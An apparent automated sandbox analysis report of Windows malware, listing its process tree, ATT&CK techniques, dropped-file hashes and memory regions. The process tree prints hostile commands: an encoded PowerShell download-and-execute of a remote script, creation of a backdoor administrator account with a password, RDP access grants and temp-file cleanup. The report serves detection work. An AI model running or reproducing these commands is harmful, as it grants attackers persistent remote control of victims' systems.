    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2324
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3144

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4864

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 5xZwFdFp /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 5xZwFdFp /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 5xZwFdFp /add
    3⤵
    PID:1288

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:3684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1564

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" DTKUTJRL$ /ADD
1⤵
PID:2240
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" DTKUTJRL$ /ADD
  2⤵
  PID:1984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" DTKUTJRL$ /ADD
    3⤵
    PID:2484

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:4496
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3148

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 5xZwFdFp
1⤵
PID:728
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 5xZwFdFp
  2⤵
  PID:2776
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 5xZwFdFp
    3⤵
    PID:5048

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3968
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:3624

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1948
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4868

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3788
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:316
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5pkzrk51\5pkzrk51.dll

Filesize
3KB

MD5
6751afd45d300fcd0b5cdc109ac76e8f

SHA1
b1194bfe8cb44e930c3830153619f3a970782af6

SHA256
baac5487a8e8be03db85466e2e8bf4c118c005bfd250a8b43968ce472ccf9edc

SHA512
9fb06e340df5ce5bbfd2a94a74822a38980a48f165453ce94c90b6b0bbf40787d9ebfe2dba94ff9cc568c072ff5085c9678cd2fa79ffa8860eeee8f1fee4ccb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES4602.tmp

Filesize
1KB

MD5
82b16d28695314c69af7c6e9210884cf

SHA1
191bcf0220dab1bf132bb6753dfdfd9ac972a61d

SHA256
0f239b697537ee7a7a1f9165fc70030722bf420fde1cd907d2a10c14907ccce8

SHA512
9a062294047439a9bb6438c7fb7012530c4c2f317f4904875c6f47995c6d33dac026f666e2d276ec51771e96c5f31fd2c05dc718977a4be080536b41dfb83488

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qjplojcv.yc4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

Filesize
1KB

MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

Download Submit
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

Filesize
2.5MB

MD5
267dcb46e91e0272aab1994b2cf3c9d8

SHA1
7904af5372cec88161ce77f474d2e5deb119821e

SHA256
c319e5b97653ef90e065aaac0c0ad5d2d3a2bfa3de4ccb6abe16d9437b941a21

SHA512
44c76b401ded2501a18e624b95599945768b58f0c04cd500b4713231b19657352f11c16a0abf5dab18403db162aa07c7f55404beacf86da73dad83cea969cdf8

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
c678a2362862a3207f41213684b4923c

SHA1
d33bd5dd67c81d7da3582eeab75702ae9d0d4bf8

SHA256
18b4505916f75075a71d5d94e9fcd18e5e283690f3e6f06f8a3cb4c4d557dc76

SHA512
a4dc8c2fd294433016cf88a9b830940c78ecec0b600d4f2480a1bf68a3817160e188bc1c06e913bf475ed90021bf464ed9cdf1a7ce53977c12c6679650f37a53

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
22d3d81009b0fbcc977658e4a392c17c

SHA1
1f3f415cb3493bcb02fff0368f2f4a4bc91b8bc1

SHA256
9ebeb231fc50b2739a7d96c3f761cbdacdc003361fa69c6330ea83b619d35a07

SHA512
ff89e594e2e797516379c29fee5181e0de3b9a03c7c03e09da0ad26bf27e0e405164f24ee7a7caf09cb264b228ddfb6a685b741a4f1545256e21d239284817ee

Download Submit
C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI67F1.tmp

Filesize
24KB

MD5
d0e162c0bd0629323ebb1ed88df890d6

SHA1
cf3fd2652cdb6ff86d1df215977454390ed4d7bc

SHA256
3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744

SHA512
a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5pkzrk51\5pkzrk51.0.cs

Filesize
424B

MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5pkzrk51\5pkzrk51.cmdline

Filesize
369B

MD5
db4b4d5341250fa3ae6b34e1b99df3ab

SHA1
482b05d2d17eba31a3fd1cb54199fc5b7f84b195

SHA256
025d50a4ec295ecc15bfd6f102afa481ae106b47e60e9a08dddd7651d38916a9

SHA512
f9a1cc9e6a301aded0cc1cf6679f92829cc3aeea2f29af06c8282b020ab283d87d870e5cb02c3352428e5fb60550ffda0f27047e67cf961c15b9a8a808d85dbf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\5pkzrk51\CSCE3DF0B75E0DF44E1B638303A2F4BC7A1.TMP

Filesize
652B

MD5
763f84c34d42b9e4676d83198dfdf6b8

SHA1
270762b1571871cf5cad5e2aca50cf56f8eae5ec

SHA256
922950e34a6ff586626b38b247a156d2be01ed9624bec4e540b5e467847eac13

SHA512
2b46f714c0aa10bac2a38308d5a97419daf710857bcc0baae91a386bd06fe53e4db00fe14e8dcf21d309ae5afc5c1b2933f40c3c33f541511c785e1cb8fdd085

Download Submit
memory/1160-70-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/1160-67-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/1160-68-0x000001BC6AE90000-0x000001BC6AEA0000-memory.dmp

Filesize
64KB

Download
memory/1160-69-0x000001BC6AE90000-0x000001BC6AEA0000-memory.dmp

Filesize
64KB

Download
memory/1328-54-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/1328-56-0x000001E2FF6C0000-0x000001E2FF6D0000-memory.dmp

Filesize
64KB

Download
memory/1328-55-0x000001E2FF6C0000-0x000001E2FF6D0000-memory.dmp

Filesize
64KB

Download
memory/1328-57-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/3452-112-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/3452-154-0x000002837F0D0000-0x000002837F0E0000-memory.dmp

Filesize
64KB

Download
memory/3452-157-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4484-83-0x000001B911F40000-0x000001B911F50000-memory.dmp

Filesize
64KB

Download
memory/4484-72-0x000001B911F40000-0x000001B911F50000-memory.dmp

Filesize
64KB

Download
memory/4484-71-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4484-84-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-107-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-9-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-164-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-0-0x00000000002B0000-0x000000000115F000-memory.dmp

Filesize
14.7MB

Download
memory/4888-6-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-4-0x0000021AFAC10000-0x0000021AFB036000-memory.dmp

Filesize
4.1MB

Download
memory/4888-5-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-82-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-7-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-86-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-85-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-8-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/4888-87-0x0000021AE1E70000-0x0000021AE1E80000-memory.dmp

Filesize
64KB

Download
memory/5036-18-0x000001D0A0060000-0x000001D0A0082000-memory.dmp

Filesize
136KB

Download
memory/5036-113-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-44-0x000001D0A1360000-0x000001D0A156A000-memory.dmp

Filesize
2.0MB

Download
memory/5036-39-0x000001D0A0050000-0x000001D0A0058000-memory.dmp

Filesize
32KB

Download
memory/5036-24-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-109-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-110-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-111-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-23-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-88-0x00007FF8A4020000-0x00007FF8A4039000-memory.dmp

Filesize
100KB

Download
memory/5036-123-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-22-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-42-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-26-0x000001D0A0090000-0x000001D0A00A0000-memory.dmp

Filesize
64KB

Download
memory/5036-161-0x00007FF8A4020000-0x00007FF8A4039000-memory.dmp

Filesize
100KB

Download
memory/5036-162-0x00007FF8974E0000-0x00007FF897FA1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-43-0x000001D0A0FD0000-0x000001D0A1146000-memory.dmp

Filesize
1.5MB

Download